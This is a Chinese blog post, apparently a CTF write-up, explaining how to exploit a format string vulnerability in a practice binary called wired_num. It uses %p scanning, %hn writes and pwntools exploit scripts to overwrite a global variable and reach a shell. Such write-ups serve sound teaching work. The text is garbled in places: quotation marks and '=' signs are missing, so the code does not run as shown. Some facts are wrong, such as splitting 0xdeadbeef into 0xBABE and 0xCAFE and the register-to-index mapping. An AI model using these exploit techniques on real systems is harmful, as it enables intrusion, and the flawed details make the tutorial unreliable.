多彩编程 多彩编程MZPH · CODE BLOG
ARTICLE DETAIL

文章详情

深耕前端与后端开发技术的一线实战笔记与踩坑复盘。

格式化字符串漏洞实战:从printf参数槽位到任意地址写

格式化字符串漏洞实战:从printf参数槽位到任意地址写 前阵子从一台共享的练习服务器上拖下来一个名叫 wired_num 的 ELF 文件。压缩包里除了二进制还有一份只写了一半的分析记录记录停在“现在只需要把第二个参数拼上去了”。光看这句话很容易以为人家就差一个地址实际我把题目完整补完之后发现真正缺的是对 printf 参数槽位的理解。wired_num 是一道很典型的格式化字符串漏洞题程序把一个用户可控的缓冲区直接交给 printf 当格式串目标则是修改一个全局数字变量让它等于某个魔数。这类题说难不难但很容易卡在三个地方索引怎么定位、地址怎么放、写入值怎么拆。下面我按自己从零到一把它解出来的顺序写重点不是给一个能跑的脚本而是把这题背后的原理讲清楚。毕竟格式化字符串这种题换个环境、换个偏移量就变样只背 payload 没用。1. 先搞清楚这里到底在考什么1.1 “未完成”往往意味着只少了一口气这个压缩包里没有源码只有编译好的二进制和一个没写完的 write-up。write-up 里有半张%p的输出列表还有一行注释写着魔法数字是0xdeadbeef。从这些残留信息能猜出上一个挑战者已经知道程序里有个叫 magic 的全局变量也知道只要让这个变量变成0xdeadbeef就能触发后门但他没有写出如何把数字写进去。这种状态很典型题目本身并不复杂难的是把格式化字符串从“能读”变成“能写”。wired_num 的程序逻辑大概是这样的char buf[0x100]; while (1) { read(0, buf, 0x100); printf(buf); if (magic 0xdeadbeef) { system(/bin/sh); } }看到printf(buf)这一行问题就很明确了用户输入直接作为格式串使用而不是作为参数传给%s。只要输入里包含%d、%p、%s、%n这类转换符printf 就会去它不该去的地方找参数。所以这不是缓冲区溢出而是一个“拿错了参数”的漏洞。1.2 格式化字符串为什么会变成一个洞要理解漏洞先要理解 printf 的工作方式。正常用法是printf(%s, user_input);这里第一个参数是格式串第二个参数是 user_input 对应的缓冲区地址。printf 解析到%s时会从第二个参数位置取出一个值把这个值当指针然后按字符串打印。如果代码写成printf(user_input)第一个参数直接就是用户数据了。用户输入里如果有%dprintf 就会认为自己还有一个额外参数于是去寄存器或栈上随便取一个整数来打印。这本身只是信息泄漏但严重的地方在于格式化字符串里还有%n这个转换符。%n的作用不是打印东西而是把“当前已经打印了多少个字符”这个数字写入一个参数指向的内存地址。也就是说攻击者如果能控制打印数量又能控制%n拿到的参数地址就等于获得了一个任意地址写入的能力。%s则相反它把参数当指针读取那个地址上的字符串所以又叫任意地址读。常见的目标是读 flag、读 libc 地址、读栈上的 canary。wired_num 这道题里主要利用的是%n的任意写能力。1.3 为什么选%p而不是%d初学的时候我也有过疑问泄漏地址用%x、%d、%p不都行吗实际用下来差别很大。%d会把参数当作有符号整数打印成十进制。一个地址在十进制下是一长串没有规律的数很难肉眼判断它对应哪一段内存。%x会打印十六进制但默认不打印0x前缀位数还会受平台影响。%p专门用来打印指针输出通常是0x7fffffff...这种完整格式一眼就能看出是栈地址还是代码地址。还有一个更重要的原因定位可控参数时我们经常发送这样的载荷AAAA%6$p%7$p%8$p如果输出里出现0x41414141那就说明某个参数槽位正好指向缓冲区开头。用%p打印的十六进制格式可以直接和0x41414141或0x4141414141414141比对。%d就没有这么直观。所以在 wired_num 的早期侦察阶段我几乎只用%p。2. 动手之前先把寄存器、栈和位数理清楚2.1 32位与64位下参数传递的差异格式化字符串的索引问题本质上是调用约定问题。在 32 位程序里所有参数都通过栈传递。printf 的第一个实际参数是格式串地址第二个参数开始对应格式串里的第一个转换符。因为栈上布局相对简单可控缓冲区如果就在栈上那么只要从某个偏移开始数就能找到我们自己输入的内容。这也是很多老教程里“数一数%p是第几个”的原因。但 64 位环境完全不一样。参数传递有寄存器优先的规则第一个参数在 RDI第二个在 RSI然后是 RDX、RCX、R8、R9从第七个参数开始才往栈上放。关键就在这里当我们调用printf(buf)时RDI 里放的是 buf 的地址而格式串里的%d、%p会从第二个参数位置开始取值也就是从 RSI 开始。如果后面没有真实参数printf 仍然会按照规则去 RSI、RDX 这些寄存器里取垃圾值。寄存器用完以后它就继续往栈上取而那些栈位置里很可能残留着程序运行时的数据其中包括我们可控的输入缓冲区。所以 64 位程序里payload 开头那 4 个或 8 个字节经常出现在第 6、7、8、9 个参数槽位附近。这不是巧合是因为它们已经从寄存器到栈被取了一遍。2.2 栈里的“草稿纸”和 printf 的索引printf支持一种带编号的写法例如%6$p表示“打印第六个附加参数”。这个参数列表从 1 开始编号而不是从 0。在 64 位下%1$p对应 RSI%2$p对应 RDX以此类推。%6$p对应 R9%7$p才开始读栈上第一个 8 字节。定位可控参数时不要死记偏移最好是实际扫描一遍。最简单的办法是发送AAAA%7$p%8$p%9$p%10$p观察输出里哪个位置出现0x41414141。如果出现0x4141414141414141也没关系说明那个位置能读到完整的 8 字节输入。通过扫描 1 到 30基本都能找到。还有一个容易被忽略的点格式化字符串本身也可能会出现在栈上。因为printf(buf)的 buf 地址保存在某个位置栈上也可能保存这次调用的临时数据。所以很多时候你会看到输出里出现0x41414141但实际溢出的不是简单的前 4 字节而是栈槽里保存的指针它指向缓冲区开头。遇到这种情况不用慌只要索引固定后面构造 payload 时仍然可以复用它。2.3 输入次数有限时要分清策略wired_num 的循环是 read 一次、printf 一次、再回循环所以我们可以进行多轮交互。第一轮先泄漏栈布局第二轮再写 magic这是最稳的做法。但很多格式化字符串题只给一次输入机会那策略就要变了。如果只能调用一次 printf又想改成 magic就必须在构建 payload 前就知道目标地址。目标地址可以通过静态分析拿到比如非 PIE 程序的全局变量地址是固定的。写入值也不能依赖动态泄漏因为%n的写入值基于已经打印的字符数这个数字是我们预设的不能运行时计算。更常见的一次性题目是直接利用%s读指定地址上的字符串比如 flag 本身就在全局变量或栈上。这种情况下不需要%n只需要知道地址和偏移一次输入就能把内容打出来。wired_num 给多次输入条件已经算是很宽松了。3. 一步步把 wired_num 解出来3.1 第一步先摸清入口和缓冲拿到二进制后先做基础检查file wired_num checksec --filewired_num假设结果是64 位 ELFNX 开启Canary 开启PIE 关闭RELRO 是部分开启。Canary 对这道题影响不大因为我们不是靠栈溢出去覆盖返回地址。PIE 关闭则意味着全局变量的地址固定可以直接用readelf找到。再找 magic 的地址readelf -s wired_num | grep magic输出大概长这样Num: Value Size Type Bind Vis Ndx Name 42: 0000000000404080 4 OBJECT GLOBAL DEFAULT 25 magic地址是0x404080。这属于.bss段是全局变量默认可写。我们的目标就是往这个地址写入0xdeadbeef。3.2 第二步定位可控参数的索引我习惯写一个很小的扫描脚本而不是手工一条条发。下面这段是每轮发一个%k$p看哪一项输出0x41414141from pwn import * context.binary ./wired_num def find_offset(): for i in range(1, 40): p process(./wired_num) try: p.recvuntil(binput:) p.sendline(fAAAA%{i}$p.encode()) data p.recvline(timeout1) if b0x41414141 in data: log.success(foffset {i}, data {data}) p.close() return i except Exception: pass p.close() find_offset()在我的测试环境里输出匹配到的索引是 9。不同编译选项、不同 libc 版本、不同环境变量长度下这个索引会变所以远程打之前一定要重新确认。如果扫描结果里同时出现多个0x41414141优先选一个稳定的。比如某次输入AAAA%8$p输出0x41414141下一次输入BBBB%8$p输出0x42424242这个位置就是真正可控的参数。若同一个索引在不同 payload 下不能跟着变说明那只是一个恰好指向缓冲区的指针值不一定适合做后续写入锚点。3.3 第三步确认写入目标和字节拆分我们已经知道 magic 的地址是0x404080要写入的数是0xdeadbeef。%n直接写入 4 字节或 8 字节但问题在于写入值等于“当前已打印字符数”。如果直接写0xdeadbeef就要先打印 3735928559 个字符这在远程环境里基本等于超时。所以普通做法是把目标拆成两个 2 字节写入用%hn。0xdeadbeef拆开后低两字节0xBABE 47806高两字节0xCAFE 51966所以第一次先把已打印字符数控制到 47806写 magic 的低两字节第二次再把已打印字符数增加到 51966写 magic2 的高两字节。注意写第二个值时%hn写入的数字是当前总计数而不是增量。从 47806 到 51966只需要再打印51966 - 47806 4160这个数字不算大网络传输完全能接受。3.4 第四步构造实际 payload手工构造时最难的一步是让%hn拿到的参数正好指向我们放在 payload 末尾的地址。在 64 位下payload 里的地址通常也位于栈上会被 printf 当成后续参数槽位。我们需要先确认这两个地址在哪个索引。可以发这样一个探针magic 0x404080 for k in range(1, 30): payload f%{k}$p.encode() b| p64(magic) p64(magic 2) ...看输出里哪个k对应的值变成0x404080。在我的环境下magic 地址落在了第 15 个槽位magic2 在第 16 个槽位。那最终的 payload 就是low 0xBABE high 0xCAFE diff high - low # 4160 payload f%{low}c%15$hn%{diff}c%16$hn.encode() payload p64(magic 2)[:2]? 不对要放在正确位置这里有个特别容易踩的坑地址必须放在所有格式化指令的后面。原因是 x86_64 的地址高字节是 0p64(magic)后面会跟着\x00。printf 把格式串当作以\x00结尾的 C 字符串来扫描一旦中途遇到\x00后面的内容全都会被忽略。如果我把%16$hn放在p64(magic)后面printf 可能在读到地址里的空字节时就停了后面的写入根本不会执行。所以正确排列是格式指令在前地址数据在后。更省事的办法是直接使用 pwntools 的fmtstr_payload。它会在内部自动处理索引、空字节和拆分from pwn import * context.binary ./wired_num elf context.binary offset 9 magic elf.sym[magic] p process(./wired_num) payload fmtstr_payload(offset, {magic: 0xdeadbeef}, write_sizeshort) p.recvuntil(binput:) p.sendline(payload) p.sendline(bid) p.interactive()fmtstr_payload不是万能的它要求我们提供正确的 offset。如果 offset 给错生成的 payload 再工整也白搭。另外write_size 选short表示用%hn写 2 字节比默认的逐个字节%hhn更短也更不容易因为 payload 过长超出 read 的缓冲区。3.5 提供一个可直接跑的本地验证脚本下面这个脚本是我调试时用的完整版本带偏移扫描和最终写入from pwn import * context.binary ./wired_num elf context.binary def find_offset(): for i in range(1, 40): p process(./wired_num) p.recvuntil(binput:) p.sendline(fAAAA%{i}$p.encode()) try: data p.recvline(timeout1) if b0x41414141 in data: p.close() return i except EOFError: pass p.close() return None offset find_offset() log.success(foffset: {offset}) p process(./wired_num) p.recvuntil(binput:) payload fmtstr_payload(offset, {elf.sym[magic]: 0xdeadbeef}, write_sizeshort) log.info(fpayload length: {len(payload)}) p.sendline(payload) # 触发一次新的交互验证是否进入后门 p.sendline(becho pwned) print(p.recvall(timeout2).decode(errorsignore))如果一切正常第二次输入后会看到pwned输出。如果没看到多半是索引或地址不对接着往下查。4. 常见报错和排查实录4.1 输出里找不到0x41414141这种情况最常见的原因是索引范围不够或者根本没用到%k$p这种定位写法。如果只发送AAAA%p%p%p输出会把一串参数按顺序打出来但人很难数清第几个是 AAAA。解决方法是直接扫描 1 到 40 的%k$p不要嫌麻烦。另外要确认程序是 64 位还是 32 位。32 位程序里可控参数通常从第 4、5 个槽位开始64 位程序里从第 7 个之后开始也很正常。扫描范围尽量放宽。如果 format 串里的$被程序过滤掉那就只能退回顺序%p。不过 wired_num 没有这种过滤。4.2 用%s读 flag 时程序直接崩溃%s会把参数当作指针然后往那个地址读字符串。如果参数值是0x41414141那是一块不可读内存程序自然段错误。要避免这个问题必须确认参数槽位里的值是合法可读地址。比如先用%p泄漏栈上某个地址再拿这个地址去%s。在本地调试时可以用 gdb 先检查一下目标地址映射比如gdb ./wired_num b printf r x/gx $rsp...最好在真实发送 payload 前先用%p确认栈上有可控指针。否则崩溃之后远程连接直接断开什么都拿不到。4.3 64 位下索引老是和教程对不上很多人拿 32 位教程里的索引到 64 位程序里用结果当然对不上。64 位下前六个参数都走寄存器不是默认从栈里读。所以不要背“偏移是 6”这种结论要实测。另外同一个程序在不同环境变量下栈上数据位置会变化导致可控缓冲区出现在不同索引。远程环境如果和本地不同攻击前要重新定位。printf 的索引编号也容易混淆%6$p是第六个附加参数不代表它是栈上第六个 8 字节。4.4%n明明执行了magic 却没变化先检查写地址。如果 magic 在.bss段一般可写。但如果你试图写 GOT 表项部分 RELRO 和完全 RELRO 的限制会不一样可能直接导致写入失败甚至崩溃。再检查%hn用的是不是正确的地址槽位。如果你手工把p64(magic)放在 payload 末尾却没有验证它落在哪个参数槽%n可能写到了一个完全不同的位置。先发探针确认地址槽位比瞎猜更快。还有一种情况payload 里的地址以\x00开头printf 在解析完前几个转换符后遇到空字节后面的写入指令没执行。解决方法和前面一样把格式指令全部放在地址数据之前。4.5 想改的数字太大payload 超长或超时如果目标不是0xdeadbeef而是0xffffffff这种大数字用单个%n要打印 4 亿字符完全不可行。即使拆成两个%hn单次打印 65535 个字符也可能很慢但通常能扛住。更稳妥的是用%hhn按字节写入。每次把当前打印字符数控制到 0 到 255再写一个字节。代价是需要的地址槽位更多、payload 更长。如果 read 缓冲区只有 0x100可能装不下需要拆成多次交互一次写一部分控制值。wired_num 的缓冲区够大0xdeadbeef又只需要两个%hn所以直接用 short 写入是最舒服的。如果遇到缓冲区很小的同类题优先考虑%hhn并手动计算每个字节的增量。5. 回到标题这个“未完成”到底留了什么坑分析记录里那位挑战者停下的位置其实是在已经找对偏移、已经知道 magic 地址之后。他缺的并不是一个神秘参数而是不知道%n写入的是“已打印字符数”不知道这个数字等于目标值更不知道要用%hn拆两次。我把这道题补完后最大的感受是格式化字符串利用可以拆成两个独立能力。第一任意读也就是用%p、%s从指定参数或指定地址拿数据第二任意写也就是用%n、%hn、%hhn向指定地址写数字。调试时不要一步到位先验证读再验证写成功率会高很多。如果你手头也有一份类似的“未完成”题目不用急着补完别人的 payload。先问自己三个问题入口在哪里可控参数槽位是第几个目标地址在哪个段。把这三条线连起来剩下的就是让 printf 按我们的剧本打印多少字符而已。这类题换一百个二进制核心还是同一个道理。
返回列表